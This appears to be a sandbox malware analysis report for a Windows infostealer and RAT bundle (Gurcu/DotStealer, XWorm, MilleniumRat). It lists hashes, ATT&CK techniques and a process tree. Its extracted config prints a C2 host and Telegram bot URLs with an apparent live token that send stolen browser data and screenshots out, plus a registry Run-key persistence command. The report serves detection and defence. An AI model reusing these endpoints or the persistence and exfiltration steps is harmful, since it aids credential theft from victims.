gurcu | 53d398e45aaad1c1cbbb4be5abd2a0d2c039b746792fb63bd8b9b28aebf359ca

Analysis

max time kernel
61s
max time network
76s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
30-09-2024 03:38

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General

Target

Output.exe
Size

11.6MB
MD5

d7c99b9559332b8652b2cf85c34f1dea
SHA1

cbd247890c862d964683f8dc81cc3d7747bdfb73
SHA256

53d398e45aaad1c1cbbb4be5abd2a0d2c039b746792fb63bd8b9b28aebf359ca
SHA512

184945ec88ebe3e3ec5e3a71b9870b3459a0bb37491a665f356d3cb7286e0e79bed44a19e21cceba0fe0ec07a1d89e2238c70b06bd9c5dc5956b7715e8a8911f
SSDEEP

196608:tO3ytpGu2gWR5fMEseOI8LG8Ac+g6sFZstcVw8q1Q6HmVF:tO3j5gWR5fBSI58t+gbZst9

Score

10^/10

gurcu milleniumrat xworm discovery persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

reason-warnings.gl.at.ply.gg:20382

Attributes

Install_directory
%AppData%
install_file
USB.exe

Extracted

Family

gurcu

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4590251468&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20138.199.29.44%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendMessage?chat_id=-4594364141

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/getUpdates?offset=-

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000800000002346b-17.dat	family_xworm
behavioral1/memory/3420-27-0x0000000000FA0000-0x0000000000FD2000-memory.dmp	family_xworm

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	built.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	DotStealerBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	Output.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	qscan_original.exe

Executes dropped EXE 4 IoCs

pid	Process
1796	qscan_original.exe
3420	system user.exe
2264	built.exe
216	DotStealerBuild.exe

Loads dropped DLL 2 IoCs

pid	Process
2264	built.exe
216	DotStealerBuild.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\built.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
28	raw.githubusercontent.com
12	raw.githubusercontent.com
14	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	DotStealerBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	DotStealerBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	built.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	built.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2420	reg.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

pid	Process
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
216	DotStealerBuild.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
2264	built.exe
216	DotStealerBuild.exe
2264	built.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3420	system user.exe
Token: SeDebugPrivilege	2264	built.exe
Token: SeDebugPrivilege	216	DotStealerBuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2264	built.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3956 wrote to memory of 1796	3956	Output.exe	83
PID 3956 wrote to memory of 1796	3956	Output.exe	83
PID 3956 wrote to memory of 3420	3956	Output.exe	84
PID 3956 wrote to memory of 3420	3956	Output.exe	84
PID 1796 wrote to memory of 2264	1796	qscan_original.exe	85
PID 1796 wrote to memory of 2264	1796	qscan_original.exe	85
PID 1796 wrote to memory of 216	1796	qscan_original.exe	86
PID 1796 wrote to memory of 216	1796	qscan_original.exe	86
PID 2264 wrote to memory of 4856	2264	built.exe	91
PID 2264 wrote to memory of 4856	2264	built.exe	91
PID 4856 wrote to memory of 2420	4856	cmd.exe	93
PID 4856 wrote to memory of 2420	4856	cmd.exe	93
PID 216 wrote to memory of 2076	216	DotStealerBuild.exe	96
PID 216 wrote to memory of 2076	216	DotStealerBuild.exe	96

C:\Users\Admin\AppData\Local\Temp\Output.exe
"C:\Users\Admin\AppData\Local\Temp\Output.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Users\Admin\AppData\Roaming\qscan_original.exe
  "C:\Users\Admin\AppData\Roaming\qscan_original.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Users\Admin\AppData\Roaming\built.exe
    "C:\Users\Admin\AppData\Roaming\built.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\built.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4856
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\built.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2420
- - C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe
    "C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:216
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpB69E.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpB69E.tmp.bat
      4⤵
      PID:2076
- C:\Users\Admin\AppData\Roaming\system user.exe
  "C:\Users\Admin\AppData\Roaming\system user.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB69E.tmp.bat

Filesize
180B

MD5
90c32a443b766d13a18c2667f1fe4c1c

SHA1
cc83881532987be840f5cd8367cc76be22a9df34

SHA256
f1f5fcdcdd790ced70395489a454d47937739d5a36c34f0554224b9d98bf3bf2

SHA512
1abc2817875627021dd58c5740cc6b451e41552126251e51b7ad8770e3a4615d1e7925d49bb2dcd961fc94af1b32da362027357eba6fe969b0119e8f56f2f5c9

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe

Filesize
5.6MB

MD5
f239a3a3bf4ae3bdf42659c2c22cb270

SHA1
3827636f0703be1a9dfbd3ff9efce30ef0da43c8

SHA256
a5fb7d12b140c0adfcefce222d9806233b6dcca69533e84f5f82f7216b097263

SHA512
56df258f8eb274ddd128ed98ddd1a80af14f11a2799201b8a34319e7680e169a51b2377922dced4e6ea4a1d2d69b37c807d9ffafd178a0c056c055655d8cd9ae

Download Submit
C:\Users\Admin\AppData\Roaming\built.exe

Filesize
5.6MB

MD5
0edfa1005fee9b98800ab3e447944c87

SHA1
5ab856560c8293044f2a2391aae9c4961e2ddd03

SHA256
1e1760588cdd811a36243278251a1da277b30e1c8451cfbdcab83a26f34d0611

SHA512
033d320728072fb3dd51b08d97871554c68779485f0c8e13c9d887ea0b1d02b29e53e2c06324e92959242e17b16cbd80a822034a78307acc983a49abb3556074

Download Submit
C:\Users\Admin\AppData\Roaming\qscan_original.exe

Filesize
11.3MB

MD5
4bee8c6e2c7a30b0fd7d468532c19447

SHA1
d91dcf39c0c8f360411cb0f9fc31c9a5dd2c8f7c

SHA256
1c9f16ebad32e5d7e124e0553ce52802040fc70448a04af42a1b934080288c09

SHA512
3b7e908bf6162141e5d42951216897b849fe37404d25beacacc3a0c096c7d76738ddf16f55d271ec9eadb00c75b257937f4a02e5bae4a730f3f17cbd44ca72fa

Download Submit
C:\Users\Admin\AppData\Roaming\system user.exe

Filesize
179KB

MD5
6082abd8cccf27a1c8527210c139489f

SHA1
f3b5ceb84ebdcb8df4abfdce3cac47293bad0e2f

SHA256
ce1d896325cac0ef1f0332d6b513987566ce29a5a6a56275496ba5f38e3d292d

SHA512
78cbe63b1280909306e6759328a2e8eeff22c0c925135ee842d55738f4d51bad89ee68a2022cc34da656280621a2aeb112fcd5712bed1349ec38eb646897eb34

Download Submit
memory/216-70-0x000001ECF7BC0000-0x000001ECF7BFA000-memory.dmp

Filesize
232KB

Download
memory/216-66-0x000001ECF7A90000-0x000001ECF7B42000-memory.dmp

Filesize
712KB

Download
memory/216-103-0x000001ECF7C00000-0x000001ECF7C12000-memory.dmp

Filesize
72KB

Download
memory/216-71-0x000001ECF6F60000-0x000001ECF6F86000-memory.dmp

Filesize
152KB

Download
memory/216-68-0x000001ECF7090000-0x000001ECF70B2000-memory.dmp

Filesize
136KB

Download
memory/216-67-0x000001ECF7130000-0x000001ECF7180000-memory.dmp

Filesize
320KB

Download
memory/216-58-0x000001ECF4C60000-0x000001ECF51F8000-memory.dmp

Filesize
5.6MB

Download
memory/216-61-0x000001ECF5610000-0x000001ECF561A000-memory.dmp

Filesize
40KB

Download
memory/216-64-0x000001ECF7020000-0x000001ECF708A000-memory.dmp

Filesize
424KB

Download
memory/1796-25-0x0000000000600000-0x0000000001152000-memory.dmp

Filesize
11.3MB

Download
memory/1796-26-0x00007FFFEC4A0000-0x00007FFFECF61000-memory.dmp

Filesize
10.8MB

Download
memory/1796-140-0x00007FFFEC4A0000-0x00007FFFECF61000-memory.dmp

Filesize
10.8MB

Download
memory/2264-62-0x000001B8B5700000-0x000001B8B571E000-memory.dmp

Filesize
120KB

Download
memory/2264-57-0x000001B8CDF80000-0x000001B8CDFF6000-memory.dmp

Filesize
472KB

Download
memory/2264-43-0x000001B8B3540000-0x000001B8B3AE2000-memory.dmp

Filesize
5.6MB

Download
memory/3420-63-0x00007FFFEC4A0000-0x00007FFFECF61000-memory.dmp

Filesize
10.8MB

Download
memory/3420-28-0x00007FFFEC4A0000-0x00007FFFECF61000-memory.dmp

Filesize
10.8MB

Download
memory/3420-72-0x00007FFFEC4A0000-0x00007FFFECF61000-memory.dmp

Filesize
10.8MB

Download
memory/3420-27-0x0000000000FA0000-0x0000000000FD2000-memory.dmp

Filesize
200KB

Download
memory/3956-0-0x00007FFFEC4A3000-0x00007FFFEC4A5000-memory.dmp

Filesize
8KB

Download
memory/3956-1-0x0000000000060000-0x0000000000BFA000-memory.dmp

Filesize
11.6MB

Download